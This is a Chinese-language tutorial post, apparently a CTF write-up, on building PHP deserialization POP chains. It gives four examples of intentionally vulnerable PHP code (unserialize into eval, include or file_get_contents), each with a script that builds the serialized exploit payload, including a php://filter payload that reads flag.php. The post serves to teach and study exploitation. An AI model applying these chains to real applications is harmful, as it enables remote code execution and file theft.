2. 程式人生 > 其它 >php反序列化——pop鏈實戰

php反序列化——pop鏈實戰

阿新 • • 發佈：2021-10-16

php反序列化詳解參考：https://www.cnblogs.com/pursue-security/p/15291087.html

php反序列化之魔法函式詳解：https://www.cnblogs.com/pursue-security/p/15291121.html

本文主要是通過一些例項來學習pop鏈的構造

例項一

一般來說，出現php反序列化漏洞是因為有寫的不安全的魔術方法，因為魔術方法會自動呼叫，那我們就可以構造惡意的exp來觸發它，但有的時候如果出現漏洞的程式碼不在魔術方法中，而是隻在一個普通方法中，那我們怎麼利用呢？這時候我們可以尋找魔術方法中是否呼叫了同名的函式，然後通過相同的函式名將類的屬性和魔術方法中的屬性聯絡起來

<?php
highlight_file(__FILE__);
class test {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new normal();
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}
class normal {
    function action() {
        echo "HelloWorld";
    }
}

 
class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['a']);
?>

比如說上面這個例子，危險函式應該是evil類中的action方法，裡面有個eval，但action方法並不是魔術方法，一般情況下我們是很難呼叫它的，但我們看到test類中的__destruct()呼叫了action方法，但在__construct()中可以看出它建立了一個normal類的物件，然後呼叫的是normal類中的action方法；這個就很好辦，我們把魔術方法中的屬性改一下，改成建立一個evil

類的物件，那它自然呼叫的就是evil類中的action方法了，有了思路下面就來構造：

<?php
class test {
    protected $ClassObj;
}
class evil {
    private $data='phpinfo();';
}
$a = new evil();
$b = new test();
$b -> ClassObj = $a;
echo serialize(urlencode($a));
?>

本來構造出來應該是這樣，建立一個evil類的物件然後把它賦值給ClassObj屬性，但這裡這樣寫不行，因為ClassObj屬性是protected屬性，不能在類外面訪問它，所以說我們得在test類裡面寫一個__construct()來完成這個操作：

<?php
class test {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data='phpinfo();';
}
$a = new test();
echo urlencode(serialize($a));
?>

例題二

<?php
highlight_file(__FILE__);
class Hello
{
    public $source;
    public $str;
    public function __construct($name)
    {
        $this->str=$name;
    }
    public function __destruct()
    {
        $this->source=$this->str;
        echo $this->source;
    }
}
class Show
{
    public $source;
    public $str;
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
}

class Uwant
{
    public $params;
    public function __construct(){
        $this->params='phpinfo();';
    }
    public function __get($key){
        return $this->getshell($this->params);
    }
    public function getshell($value)
    {
        eval($this->params);
    }
}
$a = $_GET['a'];
unserialize($a);
?>

思路分析：先找鏈子的頭和尾，頭部明顯是GET傳參，尾部是Uwant類中的getshell，然後往上倒推，Uwant類中的__get()中呼叫了getshell，Show類中的toString呼叫了__get()，然後Hello類中的__destruct()，而我們GET傳參之後會先進入__destruct()，這樣子頭和尾就連上了，所以說完整的鏈子就是：

頭 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾

至於魔術方法具體是怎麼呼叫的這就不講了，請看上一篇文章，這兒就簡單提一下，在Hello類中我們要把$this->str賦值成物件，下面echo出來才能呼叫Show類中的__toString()，然後再把Show類中的$this->str['str']賦值成物件，來呼叫Uwant類中的__get()

<?php
class Hello
{
    public $source;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Uwant
{
    public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a -> str = $b;
$b -> str['str'] = $c;
echo urlencode(serialize($a));

例題三——2020 mrctf ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

思路分析：仍然是先找鏈子的頭和尾，頭部依然是一個GET傳參，而尾部在Modifier類中的append()方法中，因為裡面有個include可以完成任意檔案包含，那我們很容易就可以想到用偽協議來讀檔案，綜合上面的提示，應該flag就是在flag.php中，我們把它讀出來就好；找到尾部之後往前倒推，在Modifier類中的__invoke()呼叫了append()，然後在Test類中的__get()返回的是$function()，可以呼叫__invoke()，再往前Show類中的__toString()可以呼叫__get()，然後在Show類中的__wakeup()中有一個正則匹配，可以呼叫__toString()，然後當我們傳入字串，反序列化之後最先進入的就是__wakeup()，這樣子頭和尾就連上了，如下圖(來自LTLT)：

頭 -> Show::__wakeup() -> Show::__toString() -> Test::__get() -> Modifier::__invoke() -> Modifier::append -> 尾

<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$a = new Show();
$b = new Show();
$c = new Test();
$d = new Modifier();
$a -> source = $b;
$b -> str = $c;
$c -> p = $d;
echo urlencode(serialize($a));

?>

然後base64解碼

例題四——2021 強網杯 賭徒

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
    
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
    
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
    
    public function __get($name){
        $function = $this->a;
        return $function();
    }
    
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

分析：首先依然是找到頭和尾，頭部依然是一個GET傳參，而尾部可以看到Room類中有個Get_hint()方法，裡面有一個file_get_contents，可以實現任意檔案讀取，我們就可以利用這個讀取flag檔案了，然後就是往前倒推，Room類中__invoke()方法呼叫了Get_hint()，然後Room類的__get()裡面有個return $function()可以呼叫__invoke()，再往前看，Info類中的__toString()中有Room類中不存在的屬性，所以可以呼叫__get()，然後Start類中有個_sayhello()可以呼叫__toString()，然後在Start類中__wakeup()方法中直接呼叫了_sayhello()，而我們知道的是，輸入字串之後就會先進入__wakeup()，這樣頭和尾就連上了

有了思路我們就直接開始構造，一般找思路我們是從尾到頭，而構造則是直接從頭到尾

頭 -> Start::__wakeup() -> Start::_sayhello() -> Info::__toString() -> Room::__get() -> Room::invoke() -> Room::Get_hint()

<?php
class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
    
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }
}
class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
}
$a = new Start();
$b = new Info();
$c = new Room();
$d = new Room();
$a -> name = $b;
$b -> file['filename'] = $c;
$c -> a = $d;
echo urlencode(serialize($a));
?>

成功打通，注意要把前面的hi去掉再進行base64編碼才能得到flag。

相關推薦

php反序列化——pop鏈實戰

php反序列化詳解參考：https://www.cnblogs.com/pursue-security/p/15291087.html php反序列化之魔法函式詳解：https://www.cnblogs.com/pursue-security/p/15291121.html

白說:php反序列化之pop鏈

前言 最近的CTF比賽中，感覺PHP序列化與反序列化漏洞中的POP鏈的身影越越多了，特此，寫一篇關於POP鏈構造的小文，內容不深，更多的是想提供給想要入坑的小夥伴們一點借鑑(厲害的大牛實在太多)，所以，本文的自我定

PHP反序列化鏈挖掘

參考文章 最新出了 yii2 RCE的鏈,但是最新版的已經被修復了,接下來自己嘗試看能不能自己找到其他鏈

Lab: Exploiting PHP deserialization with a pre-built gadget chain：利用預先構建的小工具鏈利用 PHP 反序列化（PHPGGC的使用）

靶場內容 該實驗室具有使用簽名 cookie 的基於序列化的會話機制。它還使用通用的 PHP 框架。儘管您沒有原始碼訪問許可權，但您仍然可以使用預構建的小工具鏈來利用此實驗室的不安全反序列化。

PHP反序列化鏈分析

前言 基本的魔術方法和反序列化漏洞原理這裡就不展開了。 給出一些魔術方法的觸發條件：

淺析PHP反序列化中過濾函式使用不當導致的物件注入問題

1.漏洞產生的原因 #### 正常的反序列化語句是這樣的 $a=\'a:2:{s:8:\"username\";s:7:\"dimpl3s\";s:8:\"password\";s:6:\"abcdef\";}\';

php反序列化長度變化尾部字串逃逸(0CTF-2016-piapiapia)

一個很可愛的登入介面： 進行一下目錄掃描，發現原始碼洩露www.zip，把原始碼給出：

詳解php反序列化

1 前言 最近也是在複習之前學過的內容，感覺對PHP反序列化的理解更加深了，所以在此總結一下

PHP反序列化字元逃逸

反序列化的特點 PHP 在反序列化時，底層程式碼是以;作為欄位的分隔，以}作為結尾(字串除外)，並且是根據長度判斷內容的。

PHP 反序列化漏洞入門學習筆記

參考文章： PHP反序列化漏洞入門 easy_serialize_php wp 實戰經驗丨PHP反序列化漏洞總結

PHP反序列化

概述 序列化serialize()序列化說通俗點就是把一個物件變成可以傳輸的字串,比如下面是一個物件:

CommonsCollections2 反序列化利用鏈分析

在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作為反序列化的入口 那麼就來看一下 java.util.PriorityQueue.java 的 readObject方法

CommonsCollections3 反序列化利用鏈分析

InstantiateTransformer commons-collections 3.1 中有 InstantiateTransformer 這麼一個類，這個類也實現了 Transformer的transform方法 ，如下：

php反序列化淺談

0x01 serialize()和unserialize() 先介紹下幾個函式 serialize()是用於將類轉換為一個字串

php反序列化到getshell

0x01 掃描存活,埠 C:\\Users\\Administrator>nmap -sn -PR -T 4 192.168.18.0/24 Starting Nmap 7.70 ( https://nmap.org ) at 2020-09-16 16:00 ?D1ú±ê×?ê±??

pikachu-PHP反序列化

概述 序列化serialize() 序列化說通俗點就是把一個物件變成可以傳輸的字串,比如下面是一個物件：

PHP 反序列化——入門

0x00 引言 什麼是反序列化 序列化 類物件在儲存的過程中需要將物件的資訊轉換為可以傳輸的形式，故將物件進行序列化

PHP反序列化漏洞

1.什麼是序列化和反序列化？ PHP的序列化就是將各種型別的資料物件轉換成一定的格式儲存，其目的是為了將一個物件通過可儲存的位元組方式儲存起來這樣就可以將學列化位元組儲存到資料庫或者文本當中，當需要的時候再

2019極客大挑戰PHP反序列化

1. 進入題目看到一隻貓和提示備份的習慣。猜測可能有原始碼洩露，通過目錄掃描工具可以獲取到備份檔案：www.zip包含其原始碼。 2. 對其原始碼進行審計　　a. index.php 包含檔案index.php；通過get方式獲取一個引數

幾道php反序列化題目

[極客大挑戰 2019]PHP 提示原始碼洩漏，來用掃描器掃一下 掃出來www.zip，然後下載下來